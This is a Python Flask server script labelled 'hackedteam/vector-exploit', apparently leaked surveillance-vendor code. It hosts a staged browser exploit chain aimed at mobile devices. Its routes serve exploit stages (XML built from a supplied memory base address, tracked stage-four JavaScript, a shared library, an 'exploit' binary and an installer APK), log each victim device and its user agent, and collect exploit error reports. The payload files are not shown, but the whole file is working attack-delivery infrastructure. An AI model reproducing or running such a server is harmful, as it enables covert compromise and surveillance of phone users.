hackedteam/vector-exploit

#!/usr/bin/python

import sys
import fcntl
import datetime

# Dynamic pages
from stage1_xml import stage1_xml
from stage4_js import stage4_js

from flask import Flask, make_response, request, abort
app = Flask(__name__)

# [ Debug server configuration ] --------------------------------------------- #

# The directory prefix (needs to start with / or be blank)
PREFIX = ""

# [ Utility functions ] ------------------------------------------------------ #

def readfile(name):
    with open(name, "rb") as fp:
        content = fp.read()
    return content

def nocache(s):
    """
    Builds a response that tells the client never to cache the page with
    the specified string output.
    """

    resp = make_response(s)
    resp.headers['Cache-control'] = 'no-cache, no-store, must-revalidate'
    resp.headers['Pragma'] = 'no-cache'
    resp.headers['Expires'] = '0'    

    return resp

# [ Improvised crappy security ] --------------------------------------------- #

@app.before_request
def limit_remote_addr():
    addr = request.remote_addr
    
    # Only allow connections from the RSSM/RTNU network and myself
    # This is not secure, however it will be enough against random portscans
    # on the wired network.
    if (not addr.startswith("192.168.")) and (addr != "127.0.0.1"):
        abort(403)
        
    
# [ Home page ] -------------------------------------------------------------- #
    
@app.route('/')
def hello():
    return "Hello from flask server!"

# [ Static files ] ----------------------------------------------------------- #

# Static files are explicitly defined here so it will be easier to
# understand which files will need to be deployed statically at
# prime time.

@app.route(PREFIX + '/go')
@app.route(PREFIX + '/go.htm')
@app.route(PREFIX + '/go.html')
def go_html():
    return nocache(readfile("go.html"))

@app.route(PREFIX + '/scriptid.js')
@app.route(PREFIX + '/script.js')
def script_js():
    ua = request.headers.get('User-Agent')
    do_log("--- Device connected: {}".format(request.remote_addr))
    do_log("--- {}".format(ua))
    return nocache(readfile("script.js"))
    
@app.route(PREFIX + '/scriptidm.js')
@app.route(PREFIX + '/scriptidp.js')
def script_wrong():
    return nocache(readfile("redir.js"))

@app.route(PREFIX + '/stylesheet.xsl')
def stylesheet_xsl():
    return nocache(readfile("stylesheet.xsl"))

@app.route(PREFIX + '/module.so')
def module_so():
    return nocache(readfile("module.so"))

# [ Dynamic pages ] ---------------------------------------------------------- #

# Request format: /data.xml?id=<base>
@app.route(PREFIX + '/data.xml')
def data_xml():
    base = request.args.get('id')
    nextaddr = request.args.get('contentId')

    try:
        base = int(base) 
    except ValueError:
        base = None

    if nextaddr is not None:
        try:
            nextaddr = int(nextaddr) 
        except ValueError:
            nextaddr = None

    if base is not None:
        resp = nocache(stage1_xml(base, nextaddr=nextaddr))
    else:
        abort(404)
        # # Default response
        # resp = nocache(stage1_xml())
        
    resp.headers["Content-type"] = "application/xml"
    return resp

@app.route(PREFIX + '/stage4.js')
def stage4_js_serve():
    magic = request.args.get('trk')
    resp = nocache(stage4_js(magic))

    resp.headers["Content-type"] = "text/javascript"
    return resp

@app.route(PREFIX + '/installer.apk')
def installer_apk():
    return nocache(readfile("installer.apk"))

@app.route(PREFIX + '/exploit')
def exploit_install():
    return nocache(readfile("exploit"))

# [ Very basic server debug logger ] ----------------------------------------- #

def do_log(s):
    with open("tacgnol.log", "a") as fp:
        timestamp = datetime.datetime.now().strftime('%d-%m-%Y %H:%M:%S')
        fcntl.flock(fp, fcntl.LOCK_EX)
        fp.write("[{}] {}\n".format(timestamp, s))
        fcntl.flock(fp, fcntl.LOCK_UN)


@app.route(PREFIX + '/log/info', methods=['POST'])
def log_info():
    info = request.form["logdata"].rstrip()
    do_log(info)
    return "", 200

@app.route(PREFIX + '/log/error', methods=['POST'])
def log_error():
    info = request.form["logdata"].rstrip()
    do_log("EXPLOIT ERROR: {}".format(info))
    return "", 200

# [ Module init ] ------------------------------------------------------------ #

if __name__ == "__main__":
    app.run(debug=True, host='0.0.0.0', port=8080)